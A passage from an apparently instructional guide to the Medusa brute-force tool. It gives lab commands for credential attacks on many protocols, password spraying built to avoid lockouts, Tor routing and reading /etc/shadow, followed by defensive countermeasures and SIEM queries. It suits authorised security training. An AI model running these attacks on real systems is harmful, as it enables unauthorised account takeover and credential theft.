mysql> SELECT user, host, authentication_string FROM mysql.user;

# Read a file from the filesystem (if FILE privilege exists)
mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE test;
```

## 11.4 PostgreSQL Brute-Force

| Detail           | Value                        |
|------------------|------------------------------|
| Default Port     | 5432                         |
| Medusa Module    | postgres                     |
| Common Usernames | postgres, pg, admin, dbadmin |

```
# Lab setup
sudo apt-get install postgresql -y
sudo systemctl start postgresql
sudo -u postgres psql -c "ALTER USER postgres PASSWORD 'postgres';"

# PostgreSQL brute-force
medusa -h 192.168.56.20 -u postgres -P passwords.txt -M postgres

# Try postgres:postgres default
medusa -h 192.168.56.20 -u postgres -p postgres -M postgres

# Multiple users
medusa -h 192.168.56.20 -U users.txt -P passwords.txt -M postgres -t 2 -f
```

## CHAPTER 12

# Telnet Brute-Force Attack

## 12.1 Telnet Overview

Telnet is a legacy remote-access protocol that transmits all data — including credentials — in plaintext. It is still found on old network equipment (routers, switches, IoT devices), legacy UNIX servers, and embedded systems.

| Detail           | Value                                     |
|------------------|-------------------------------------------|
| Default Port     | 23                                        |
| Medusa Module    | telnet                                    |
| Common Usernames | admin, root, cisco, ubnt, operator, guest |

## 12.2 Lab Setup

```
# Install telnet server on Ubuntu target
sudo apt-get install telnetd -y
sudo systemctl start inetd

# Or use xinetd:
sudo apt-get install xinetd telnetd -y
```

## 12.3 Telnet Brute-Force Commands

```
# Basic Telnet attack
medusa -h 192.168.56.20 -u root -P /usr/share/wordlists/rockyou.txt -M telnet

# Network device defaults (common on routers/switches)
medusa -h 192.168.56.20 -C /opt/SecLists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt -M telnet

# With verbose to see interaction
medusa -h 192.168.56.20 -u admin -P passwords.txt -M telnet -v 5

# Multiple hosts - network equipment audit
medusa -H network_devices.txt -u admin -P passwords.txt -M telnet -t 1 -T 10

# Non-default port (some IoT devices use 2323)
medusa -h 192.168.56.20 -n 2323 -u root -P passwords.txt -M telnet
```

## 12.4 Telnet Module Options

```
# View telnet module options
medusa -M telnet -q

# Adjust login/password prompts if they differ
medusa -h 192.168.56.20 -u admin -P passwords.txt -M telnet \
-m PROMPT:"Username:" -m PASSPHRASE:"Password:"
```



## CHAPTER 13

# SMTP, POP3 & IMAP Brute-Force

## 13.1 Email Protocol Attacks

Email server credential attacks are valuable for business email compromise (BEC) scenarios. Compromised email accounts give access to sensitive communication, can be used to send internal phishing, and may contain credentials or PII.

## 13.2 SMTP Brute-Force

| Detail         | Value                                    |
|----------------|------------------------------------------|
| Default Ports  | 25 (SMTP), 587 (Submission), 465 (SMTPS) |
| Medusa Module  | smtp                                     |
| Authentication | AUTH LOGIN, AUTH PLAIN, AUTH CRAM-MD5    |

```
# Install Postfix for lab
sudo apt-get install postfix dovecot-imapd dovecot-pop3d -y

# Basic SMTP attack on port 25
medusa -h 192.168.56.20 -u user@lab.local -P passwords.txt -M smtp

# SMTP on submission port 587
medusa -h 192.168.56.20 -n 587 -u admin@lab.local -P passwords.txt -M smtp

# SMTPS (port 465, SSL)
medusa -h 192.168.56.20 -n 465 -s -u admin@lab.local -P passwords.txt -M smtp

# Multiple users
medusa -h 192.168.56.20 -U email_users.txt -P passwords.txt -M smtp -t 2
```

## 13.3 SMTP User Enumeration (smtp-vrfy module)

SMTP VRFY command can confirm whether a username exists on the mail server without authentication — useful for building a valid user list:

```
# Enumerate valid SMTP users
medusa -h 192.168.56.20 -U /opt/SecLists/Usernames/top-usernames-shortlist.txt \
-M smtp-vrfy

# This will return:
# ACCOUNT FOUND: [smtp-vrfy] Host: 192.168.56.20 User: admin [SUCCESS]
# (SUCCESS just means the user exists, not that a password was found)
```

## 13.4 POP3 Brute-Force

| Default Ports                                                                                                                                                              | 110 (POP3), 995 (POP3S) |
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------|
| Medusa Module                                                                                                                                                              | pop3                    |
| <pre># POP3 brute-force medusa -h 192.168.56.20 -u alice -P passwords.txt -M pop3  # POP3S (SSL) medusa -h 192.168.56.20 -n 995 -s -u alice -P passwords.txt -M pop3</pre> |                         |

## 13.5 IMAP Brute-Force

| Default Ports                                                                                                                                                                                                                                                                                      | 143 (IMAP), 993 (IMAPS) |
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------|
| Medusa Module                                                                                                                                                                                                                                                                                      | imap                    |
| <pre># IMAP brute-force medusa -h 192.168.56.20 -u alice -P passwords.txt -M imap  # IMAPS (SSL, port 993) medusa -h 192.168.56.20 -n 993 -s -u alice -P passwords.txt -M imap  # Multiple email users from file medusa -h 192.168.56.20 -U email_users.txt -P passwords.txt -M imap -t 2 -f</pre> |                         |

## CHAPTER 14

# SNMP Brute-Force Attack

## 14.1 SNMP Overview

SNMP (Simple Network Management Protocol) uses 'community strings' as a form of authentication. The default community strings 'public' (read) and 'private' (write) are present on an enormous number of network devices. Successful SNMP access can reveal network topology, running services, and system information — extremely valuable during reconnaissance.

| Detail                   | Value                                      |
|--------------------------|--------------------------------------------|
| Protocol                 | UDP (not TCP)                              |
| Default Port             | 161 (SNMP), 162 (SNMP Trap)                |
| Medusa Module            | snmp                                       |
| Common Community Strings | public, private, community, manager, cisco |

## 14.2 SNMP Brute-Force Commands

```
# Single community string test
medusa -h 192.168.56.1 -u public -p public -M snmp

# Brute-force community strings (use -p for each string in a file)
medusa -h 192.168.56.1 -u public -P /opt/SecLists/Misc/wordlist-common-snmp-
community-strings.txt -M snmp

# Multiple network devices
medusa -H network_devices.txt -u public \
-P /opt/SecLists/Misc/wordlist-common-snmp-community-strings.txt -M snmp -T 10

# SNMP v1 vs v2 (specify via module option)
medusa -h 192.168.56.1 -u public -P communities.txt -M snmp -m VERSION:2c
```



### SNMP Note

SNMP uses UDP. Medusa handles UDP for SNMP transparently, but ensure your network path allows UDP/161. Some firewalls block ICMP but allow UDP 161 to appear open.

## 14.3 SNMP Post-Exploitation

```
# Once valid community string is found, enumerate with snmpwalk
snmpwalk -v2c -c public 192.168.56.1 1.3.6.1.2.1.1

# Get system description
snmpget -v2c -c public 192.168.56.1 SNMPv2-MIB::sysDescr.0

# Get all running processes
snmpwalk -v2c -c public 192.168.56.1 hrSWRunName

# Get all interfaces
snmpwalk -v2c -c public 192.168.56.1 ifDescr
```

## CHAPTER 15

# VNC Brute-Force Attack

## 15.1 VNC Overview

VNC (Virtual Network Computing) provides graphical remote desktop access similar to RDP but cross-platform. It is common on Linux servers, developer machines, and IoT devices. VNC uses a single password (no username) for authentication.

| Default Port   | 5900                                |
|----------------|-------------------------------------|
| Medusa Module  | vnc                                 |
| Authentication | Single password — no username field |

## 15.2 VNC Brute-Force Commands

```
# Install VNC server on Ubuntu for lab
sudo apt-get install tightvncserver -y
vncserver :1 # Set a password when prompted

# VNC brute-force — note: no username needed
medusa -h 192.168.56.20 -u user -P passwords.txt -M vnc

# VNC ignores username — these are equivalent:
medusa -h 192.168.56.20 -u ignored -P /usr/share/wordlists/rockyou.txt -M vnc

# Non-default VNC display/port (display :2 = port 5902)
medusa -h 192.168.56.20 -n 5902 -u x -P passwords.txt -M vnc

# Multiple VNC hosts
medusa -H vnc_hosts.txt -u x -P passwords.txt -M vnc -t 2 -T 5 -f
```

## 15.3 Connecting After Success

```
# Connect with xvnc4viewer or vncviewer
vncviewer 192.168.56.20:5900
# Enter the cracked password when prompted
```

## CHAPTER 16

# LDAP & Active Directory Attacks

## 16.1 LDAP Overview

LDAP (Lightweight Directory Access Protocol) is the backbone of enterprise identity management. Active Directory, OpenLDAP, and eDirectory all speak LDAP. Brute-forcing LDAP credentials gives access to directory information and potentially allows password spraying against all domain accounts.

| Default Port     | 389 (LDAP), 636 (LDAPS)                              |
|------------------|------------------------------------------------------|
| Medusa Module    | ldap                                                 |
| Common Usernames | cn=admin,dc=lab,dc=local or simple user@domain.local |

## 16.2 LDAP Brute-Force Commands

```
# Basic LDAP attack
medusa -h 192.168.56.20 -u 'cn=admin,dc=lab,dc=local' \
-P passwords.txt -M ldap

# Simple bind with username only (common on AD)
medusa -h 192.168.56.30 -u administrator@corp.lab \
-P passwords.txt -M ldap

# LDAPS (encrypted, port 636)
medusa -h 192.168.56.20 -n 636 -s \
-u 'cn=admin,dc=lab,dc=local' -P passwords.txt -M ldap

# Multiple AD users
medusa -h 192.168.56.30 -U domain_users.txt -P passwords.txt \
-M ldap -t 2
```

## 16.3 Password Spraying vs Brute-Force

In Active Directory environments, standard brute-force risks locking out accounts (typically after 5 failed attempts). Password spraying — trying one password against many accounts — is far safer:

```
# Password spray: try 'Winter2026!' against all domain users
# Low and slow - 1 attempt per user per request cycle
medusa -h 192.168.56.30 -U domain_users.txt -p 'Winter2026!' \
-M ldap -t 1 -O /root/spray_results.txt

# Wait between attempts: -g 30 = 30 seconds between retries
```

```
medusa -h 192.168.56.30 -U domain_users.txt -p 'Password123' \  
-M ldap -t 1 -g 30
```



### Account Lockout Risk

Always check the domain lockout policy before brute-forcing AD accounts. A typical policy locks after 5 attempts. Password spraying with a single password is much safer than per-account brute-force.

## CHAPTER 17

# CVS, SVN & Version Control Protocols

## 17.1 Version Control System Attacks

Source code repositories can contain API keys, hardcoded passwords, infrastructure configurations, and sensitive business logic. Gaining access to a version control server during a pentest is extremely high value.

## 17.2 CVS Brute-Force

| Default Port                                                                                                                                                                      | 2401 |
|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------|
| Medusa Module                                                                                                                                                                     | cv   |
| <pre># CVS brute-force medusa -h 192.168.56.20 -u developer -P passwords.txt -M cvs  # Multiple users medusa -h 192.168.56.20 -U dev_users.txt -P passwords.txt -M cvs -t 2</pre> |      |

## 17.3 SVN (Subversion) Brute-Force

| Default Port                                                                                                                                                                                                                                                                                                                           | 3690 (svn://), 443 or 80 (http/https) |
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------|
| Medusa Module                                                                                                                                                                                                                                                                                                                          | svn                                   |
| <pre># SVN brute-force medusa -h 192.168.56.20 -u svnuser -P passwords.txt -M svn  # SVN over HTTPS (use http module with DIR path instead) medusa -h 192.168.56.20 -n 443 -s -u svnuser -P passwords.txt -M http \ -m DIR:/svn/repo/  # Multiple users medusa -h 192.168.56.20 -U svn_users.txt -P passwords.txt -M svn -t 2 -f</pre> |                                       |



## CHAPTER 18

# Multi-Target & Parallel Attacks

---

## 18.1 Attacking Multiple Hosts

In network penetration tests you often need to audit the same service across dozens of hosts simultaneously. Medusa's -H and -T flags make this straightforward.

```
# Create a host list
cat > /tmp/ssh_hosts.txt << 'EOF'
192.168.56.20
192.168.56.21
192.168.56.22
192.168.56.23
EOF

# Attack SSH on all hosts, 5 hosts concurrently, 2 threads per host
medusa -H /tmp/ssh_hosts.txt -U users.txt -P passwords.txt \
-M ssh -T 5 -t 2 -O /root/multi_ssh.txt
```

## 18.2 Mixed Protocol Audits

Run separate Medusa instances in parallel for different protocols:

```
# Terminal 1 - SSH audit
medusa -H hosts.txt -u root -P pass.txt -M ssh -T 5 -O ssh.log &

# Terminal 2 - FTP audit
medusa -H hosts.txt -u admin -P pass.txt -M ftp -T 5 -O ftp.log &

# Terminal 3 - Telnet audit
medusa -H hosts.txt -u admin -P pass.txt -M telnet -T 5 -O telnet.log &

# Wait for all to complete
wait
```

## 18.3 Parallel Login Mode (-L)

The -L flag (parallel logins) assigns one username per thread rather than iterating all passwords for one user before moving to the next. This can significantly increase speed when testing many users:

```
# Without -L: thread1 tries user1:pass1, user1:pass2, user1:pass3 ...
#               thread2 tries user2:pass1, user2:pass2 ...

# With -L: thread1 = user1, thread2 = user2, thread3 = user3
```

```
# All users are tested simultaneously
medusa -h 192.168.56.20 -U users.txt -P passwords.txt -M ssh -t 6 -L
```

## 18.4 Resume an Interrupted Attack

If Medusa is interrupted (Ctrl+C), it saves a resume file. Restart with:

```
# Medusa saves resume info - re-run the exact same command to resume
# Or specify a resume file:
medusa -h 192.168.56.20 -U users.txt -P /usr/share/wordlists/rockyou.txt \
-M ssh -O /root/ssh_attack.log
# Press Ctrl+C to interrupt

# Restart - Medusa will ask if you want to resume
# or use -R to force resume:
medusa -R /root/ssh_attack.log
```

## CHAPTER 19

# Medusa vs Hydra — Feature Comparison

## 19.1 Overview

Medusa and Hydra (THC-Hydra) are the two most popular network brute-force tools. Both are pre-installed in Kali Linux. Understanding when to use each is important for efficient penetration testing.

| Feature             | Medusa                   |
|---------------------|--------------------------|
| Language            | C (compiled, fast)       |
| Parallel model      | Thread per host          |
| Modules             | ~30 built-in .mod files  |
| RDP Support         | Yes (rdp.mod)            |
| SSH Support         | Yes                      |
| HTTP Form           | Yes (web-form.mod)       |
| Oracle DB           | No (separate mod needed) |
| Cisco Enable        | No                       |
| Resume attacks      | Yes                      |
| Combo files         | Yes (-C)                 |
| Password generation | Yes (-x)                 |
| Verbose control     | 0-6 levels (-v)          |
| Output to file      | Yes (-O)                 |
| SSL/TLS             | Yes (-s)                 |

## 19.2 Side-by-Side Syntax Comparison

### SSH Attack

```
# Medusa
medusa -h 192.168.56.20 -u root -P rockyou.txt -M ssh

# Hydra
hydra -l root -P rockyou.txt 192.168.56.20 ssh
```

## HTTP Form Attack

```
# Medusa
medusa -h 192.168.56.40 -u admin -P pass.txt -M web-form \
-m FORM:/login.php \
-m DENY-SIGNAL:"Login failed" \
-m FORM-DATA:"username=MEDUSA_USERNAME&password=MEDUSA_PASSWORD&submit=Login"

# Hydra
hydra -l admin -P pass.txt 192.168.56.40 http-post-form \
"/login.php:username=^USER^&password=^PASS^&submit=Login:Login failed"
```

### 19.3 When to Use Medusa

- Large multi-host audits requiring resume capability
- When you need fine-grained verbosity control
- FTP, Telnet, SNMP, CVS, SVN attacks (Medusa handles these cleanly)
- When stable multi-threaded performance is critical

### 19.4 When to Use Hydra

- Oracle database attacks (Hydra has oracle.mod)
- Cisco enable password attacks
- When you need the latest module additions
- Quick one-off tests where resume is not needed

## CHAPTER 20

## AV / IDS Evasion & Rate Limiting

### 20.1 Why Brute-Force Attacks Get Detected

Modern defences detect brute-force attacks through:

- Repeated failed authentication events in security logs (Event ID 4625 on Windows)
- IDS/IPS signatures matching known brute-force tools (Snort rule: Medusa/Hydra user-agent)
- Account lockout policies after N failed attempts
- Anomaly-based detection (100 login attempts per second is not normal)
- Geo-IP analysis — logins from unusual countries trigger alerts

### 20.2 Slowing Down Attacks — Rate Limiting

```
# Add delay between attempts: -g 5 = 5 second gap
medusa -h 192.168.56.20 -U users.txt -P passwords.txt -M ssh -g 5

# Reduce threads to 1 (slowest, stealthiest)
medusa -h 192.168.56.20 -u admin -P passwords.txt -M ssh -t 1 -g 10
```

### 20.3 Proxy & Source IP Considerations

In authorised external tests, using a proxy or VPN helps simulate attacks from different source IPs. Medusa itself does not have built-in proxy support, but you can route traffic through proxychains:

```
# Configure proxychains
sudo nano /etc/proxychains4.conf
# Add: socks5 127.0.0.1 9050

# Route Medusa through Tor (not recommended for speed)
proxychains medusa -h TARGET -u admin -P passwords.txt -M ssh
```



#### Authorised Testing Only

Proxy routing during a pentest must be pre-approved and documented. Never attempt to hide unauthorised testing activity behind proxies — this makes the legal situation worse, not better.

### 20.4 Password Spraying to Avoid Lockouts

As discussed in Chapter 16, spraying one password across all accounts avoids triggering per-account lockout policies. Use a threshold-aware schedule:

```
# Spray with 30-minute wait between rounds (matches typical lockout observation
window)

# Round 1: Spring2026
medusa -h 192.168.56.30 -U all_users.txt -p 'Spring2026' -M ldap -t 1
sleep 1800

# Round 2: Summer2026
medusa -h 192.168.56.30 -U all_users.txt -p 'Summer2026' -M ldap -t 1
```

## CHAPTER 21

# Logging, Output & Reporting

## 21.1 Saving Output with -O

```
# Save all output to a log file
medusa -h 192.168.56.20 -U users.txt -P passwords.txt -M ssh \
-v 3 -O /root/pentest/medusa_ssh_$(date +%Y%m%d_%H%M%S).log

# View results
cat /root/pentest/medusa_ssh_*.log

# Filter only successes
grep 'SUCCESS' /root/pentest/medusa_ssh_*.log
```

## 21.2 Output Format

Medusa's output format for found credentials:

```
ACCOUNT FOUND: [ssh] Host: 192.168.56.20 User: root Password: toor [SUCCESS]
ACCOUNT FOUND: [ftp] Host: 192.168.56.20 User: ftpuser Password: ftppass [SUCCESS]
ACCOUNT FOUND: [http] Host: 192.168.56.40 User: admin Password: admin123 [SUCCESS]
```

## 21.3 Parsing Results for Reporting

```
# Extract all found accounts from multiple log files
grep 'ACCOUNT FOUND' /root/pentest/*.log | \
awk '{print $5, $7, $9}' > /root/pentest/found_credentials.csv

# Count successful accounts per service
grep 'ACCOUNT FOUND' /root/pentest/*.log | \
awk -F'\[\[' '{print $2}' | sort | uniq -c | sort -rn
```

## 21.4 Integrating into a Pentest Report

When documenting brute-force findings in a professional report, include:

- Service affected (SSH on 192.168.56.20:22)
- Number of accounts tested
- Number of accounts compromised
- Time taken to crack each credential
- The password itself and its strength characteristics (length, complexity)

- Business risk: what access does this credential provide?
- Remediation: enforce strong passwords, MFA, account lockout, fail2ban



## CHAPTER 22

# Defensive Countermeasures & Detection

## 22.1 Prevention — Strong Password Policy

| Policy         | Recommendation                                                          |
|----------------|-------------------------------------------------------------------------|
| Minimum length | 14+ characters (NIST 800-63B recommends length over complexity)         |
| Complexity     | Enforce at least one uppercase, lowercase, digit, and special character |
| History        | Prevent reuse of last 10 passwords                                      |
| Age            | Maximum 90-day rotation for privileged accounts                         |
| Blacklist      | Block known bad passwords (rockyou.txt-based blacklist)                 |

## 22.2 Account Lockout Policy

```
# Windows Group Policy — Account Lockout Settings:
# Lockout threshold:      5 invalid attempts
# Lockout duration:       30 minutes
# Observation window:     30 minutes

# Linux (PAM) — /etc/pam.d/common-auth
# auth required pam_tally2.so deny=5 unlock_time=1800
```

## 22.3 Fail2ban — SSH Protection

```
# Install fail2ban
sudo apt-get install fail2ban -y

# Configure SSH jail: /etc/fail2ban/jail.local
[sshd]
enabled = true
port    = ssh
filter  = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime  = 3600
findtime = 600

# Start fail2ban
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
```

```
# Check ban status
sudo fail2ban-client status sshd
```

## 22.4 Multi-Factor Authentication

MFA is the single most effective control against credential-based attacks. Even if Medusa finds a valid password, MFA prevents login without the second factor. Enable MFA on:

- SSH — use Google Authenticator PAM module or hardware keys (YubiKey)
- RDP — enforce Azure MFA or Duo Security via NPS extension
- VPN and web applications — any modern SSO/IdP supports TOTP
- Database connections — use certificate-based auth + password

```
# Enable SSH MFA with Google Authenticator
sudo apt-get install libpam-google-authenticator -y
google-authenticator # Run as the user to set up TOTP

# Edit /etc/pam.d/sshd - add:
auth required pam_google_authenticator.so

# Edit /etc/ssh/sshd_config:
ChallengeResponseAuthentication yes
UsePAM yes

sudo systemctl restart sshd
```

## 22.5 Detecting Brute-Force in SIEM

Use these detection queries to catch Medusa attacks:

```
# Splunk - SSH failed logins (5+ per minute from same source)
index=linux sourcetype=secure ("Failed password" OR "Invalid user")
| timechart span=1m count by src_ip
| where count > 5

# Splunk - Windows RDP brute-force (Event ID 4625)
index=wineventlog EventCode=4625 LogonType=10
| stats count by src_ip, user
| where count > 10

# Elastic - detect Medusa SSH brute force
event.dataset:auth AND event.action:"failed-login"
  AND service.type:ssh
  AND source.ip:*
| stats count by source.ip
| where count > 20
```

## 22.6 Port Knocking & Firewall Rules

```
# Restrict SSH to known management IP ranges only
sudo ufw allow from 192.168.56.0/24 to any port 22
sudo ufw deny 22

# Or use port knocking — hide SSH until a knock sequence is sent
sudo apt-get install knockd -y
# Configure /etc/knockd.conf with a 3-port sequence
```

## 22.7 Change Default Ports

Moving SSH from port 22 to a non-standard port (e.g. 22222) reduces exposure to automated scanners and tools that only target default ports:

```
# In /etc/ssh/sshd_config
Port 22222

sudo systemctl restart sshd
sudo ufw allow 22222/tcp
```

## CHAPTER 23

# Real-World Lab Scenarios

---

## Scenario 1 — SSH Root Compromise on Linux Server

### Objective

Demonstrate that a Linux server with a weak root password is fully compromised via Medusa's SSH module.

### Setup

- Attacker: Kali Linux 192.168.56.10
- Target: Ubuntu Server 192.168.56.20 with root password 'toor' enabled

### Steps

```
# Step 1: Verify SSH is open
nmap -p 22 192.168.56.20

# Step 2: Try default credentials first (-e ns)
medusa -h 192.168.56.20 -u root -p toor -M ssh

# Step 3: If unknown, run wordlist attack
medusa -h 192.168.56.20 -u root \
  -P /usr/share/wordlists/fasttrack.txt -M ssh -t 4 -v 3

# Step 4: Log in with found password
ssh root@192.168.56.20

# Step 5: Escalate / persist
id && cat /etc/shadow && cat /etc/passwd
```

### Expected Output

```
ACCOUNT FOUND: [ssh] Host: 192.168.56.20 User: root Password: toor [SUCCESS]
```

## Scenario 2 — FTP Anonymous + Credential Audit

### Objective

Audit an FTP server for anonymous access and weak credentials.

```
# Phase 1: Test anonymous login
medusa -h 192.168.56.20 -u anonymous -p anonymous -M ftp
medusa -h 192.168.56.20 -u ftp -p ftp -M ftp
```

```
# Phase 2: Brute-force known usernames
medusa -h 192.168.56.20 -U /opt/SecLists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/wordlists/fasttrack.txt -M ftp -t 2 -v 3 -O /root/ftp_audit.log

# Phase 3: Review results
grep SUCCESS /root/ftp_audit.log
```

## Scenario 3 — Windows SMB Admin Credential Audit

### Objective

Identify Windows machines with weak Administrator passwords across a subnet.

```
# Generate host list with nmap
nmap -p 445 --open 192.168.56.0/24 -oG - | \
  awk '/445\|open/{print $2}' > /tmp/smb_hosts.txt

# Audit all hosts for weak admin passwords
medusa -H /tmp/smb_hosts.txt \
-u Administrator \
-P /usr/share/wordlists/fasttrack.txt \
-M smbnt -T 5 -t 2 \
-O /root/smb_audit.log

# Review
grep SUCCESS /root/smb_audit.log
```

## Scenario 4 — Web Application Login Brute-Force (DVWA)

### Objective

Brute-force the DVWA (Damn Vulnerable Web Application) login panel.

```
# Confirm DVWA is running
curl -s http://192.168.56.40/dvwa/login.php | grep -i 'login'

# Run credential harvester
medusa -h 192.168.56.40 -u admin \
-P /usr/share/wordlists/fasttrack.txt \
-M web-form \
-m FORM:/dvwa/login.php \
-m DENY-SIGNAL:"Login failed" \
-m FORM-DATA:"username=MEDUSA_USERNAME&password=MEDUSA_PASSWORD&Login=Login" \
-v 4 -O /root/dvwa_attack.log

# Login to confirm
curl -c /tmp/dvwa_cookies.txt \
-d 'username=admin&password=password&Login=Login' \
http://192.168.56.40/dvwa/login.php
```

## Scenario 5 — Full Network Credential Audit (Multi-Protocol)

## Objective

Simulate a post-foothold internal audit testing SSH, FTP, MySQL, and SMB across all lab hosts.

```
# Phase 1: Discover live hosts and open ports
nmap -sV -p 21,22,23,80,443,445,3306,3389 192.168.56.0/24 \
-oN /root/nmap_audit.txt

# Phase 2: Parallel Medusa campaigns
medusa -H /tmp/ssh_hosts.txt -U users.txt -P pass.txt \
-M ssh -T 3 -t 2 -O /root/ssh.log &

medusa -H /tmp/ftp_hosts.txt -U users.txt -P pass.txt \
-M ftp -T 3 -t 2 -O /root/ftp.log &

medusa -H /tmp/mysql_hosts.txt -U db_users.txt -P pass.txt \
-M mysql -T 3 -t 1 -O /root/mysql.log &

medusa -H /tmp/smb_hosts.txt -u Administrator \
-P pass.txt -M smbnt -T 3 -O /root/smb.log &

wait

# Phase 3: Collect all findings
grep 'ACCOUNT FOUND' /root/*.log | sort | uniq > /root/all_credentials.txt
cat /root/all_credentials.txt
```

## APPENDIX A — Quick Reference Cheat Sheet

### Core Syntax

```
medusa -h HOST -u USER -P WORDLIST -M MODULE [OPTIONS]
```

### Essential Flags

```
-h HOST          Single target host
-H FILE          Host list file
-u USER          Single username
-U FILE          Username list file
-p PASS          Single password
-P FILE          Password list (wordlist)
-C FILE          Combo file (user:pass)
-M MODULE        Module name (ssh, ftp, http, smb, rdp, mysql, etc.)
-n PORT          Non-default port
-s              Enable SSL/TLS
-t N             Threads per host
-T N            Concurrent hosts
-f              Stop on first success (per host)
-F              Stop on first success (globally)
-e ns           Try null + username-as-password
-v N            Verbosity (0-6)
-O FILE         Output log file
-g N            Seconds between retries
-L             Parallel login mode
```

### One-Liner Reference

```
# SSH
medusa -h IP -u root -P rockyou.txt -M ssh -t 4 -f

# FTP
medusa -h IP -u admin -P rockyou.txt -M ftp -t 2 -f

# HTTP Form
medusa -h IP -u admin -P pass.txt -M web-form -m FORM:/login.php -m DENY-
SIGNAL:"Wrong" -m FORM-DATA:"user=MEDUSA_USERNAME&pass=MEDUSA_PASSWORD"

# SMB
medusa -h IP -u Administrator -P pass.txt -M smbnt -m GROUP:WORKGROUP

# RDP
medusa -h IP -u Administrator -P pass.txt -M rdp -t 1

# MySQL
medusa -h IP -u root -P pass.txt -M mysql -e n

# Telnet
```

```
medusa -h IP -C defaults.txt -M telnet

# SNMP
medusa -h IP -u x -P communities.txt -M snmp

# VNC
medusa -h IP -u x -P pass.txt -M vnc -f

# Multi-host SSH
medusa -H hosts.txt -U users.txt -P pass.txt -M ssh -T 5 -t 2 -O out.log
```



## APPENDIX B — All Supported Modules

| Module     | Protocol                  |
|------------|---------------------------|
| ssh        | Secure Shell              |
| ftp        | File Transfer Protocol    |
| http       | HTTP Basic Auth           |
| web-form   | HTTP POST Form            |
| smbnt      | SMB / Windows Shares      |
| rdp        | Remote Desktop Protocol   |
| mysql      | MySQL Database            |
| postgres   | PostgreSQL Database       |
| mssql      | Microsoft SQL Server      |
| telnet     | Telnet                    |
| smtp       | SMTP Email                |
| smtp-vrfy  | SMTP User Enumeration     |
| pop3       | POP3 Email                |
| imap       | IMAP Email                |
| snmp       | SNMP Community Strings    |
| vnc        | Virtual Network Computing |
| ldap       | LDAP Directory            |
| cvs        | CVS Version Control       |
| svn        | Subversion                |
| rexec      | Remote Exec               |
| rlogin     | Remote Login              |
| rsh        | Remote Shell              |
| vmauthd    | VMware Auth Daemon        |
| pcanywhere | PC Anywhere               |
| nnntp      | NNTP News                 |
| wrapper    | Generic TCP Wrapper       |

## APPENDIX C — Glossary

| Term                       | Definition                                                                                        |
|----------------------------|---------------------------------------------------------------------------------------------------|
| <b>Brute-Force Attack</b>  | Systematically testing all possible credentials until the correct one is found                    |
| <b>Dictionary Attack</b>   | Testing passwords from a pre-built wordlist rather than every possible combination                |
| <b>Credential Stuffing</b> | Using breached username:password pairs to test against other services (exploiting password reuse) |
| <b>Password Spraying</b>   | Testing one password against many accounts to avoid triggering lockout policies                   |
| <b>Medusa</b>              | Open-source, parallel, modular network login brute-forcer by Foofus Networks                      |
| <b>Module (.mod)</b>       | A shared library implementing brute-force logic for a specific protocol                           |
| <b>Wordlist</b>            | A text file containing candidate passwords, one per line                                          |
| <b>rockyou.txt</b>         | A 14M-password wordlist derived from the 2009 RockYou data breach                                 |
| <b>Combo File</b>          | A file with username:password pairs used with Medusa's -C flag                                    |
| <b>LHOST / LPORT</b>       | Local host and port on the attacker machine (used in reverse shell payloads)                      |
| <b>Fail2ban</b>            | Linux daemon that monitors logs and bans IPs after repeated failed authentication                 |
| <b>MFA</b>                 | Multi-Factor Authentication — requires a second proof of identity beyond a password               |
| <b>Account Lockout</b>     | Security policy that temporarily disables an account after N failed login attempts                |
| <b>Pass-the-Hash</b>       | Using a captured NTLM hash directly for authentication without knowing the plaintext password     |
| <b>NTLM</b>                | NT LAN Manager — Windows authentication protocol using MD4 password hashes                        |
| <b>SMB</b>                 | Server Message Block — Windows file sharing and authentication protocol                           |
| <b>SNMP</b>                | Simple Network Management Protocol — uses community strings instead of passwords                  |
| <b>VNC</b>                 | Virtual Network Computing — graphical remote desktop using a single shared password               |

| Term        | Definition                                                                                  |
|-------------|---------------------------------------------------------------------------------------------|
| <b>LDAP</b> | Lightweight Directory Access Protocol — used by Active Directory and OpenLDAP               |
| <b>CEH</b>  | Certified Ethical Hacker — EC-Council certification covering penetration testing techniques |
| <b>OSCP</b> | Offensive Security Certified Professional — hands-on penetration testing certification      |
| <b>CTF</b>  | Capture the Flag — competitive security challenge used for legal skills practice            |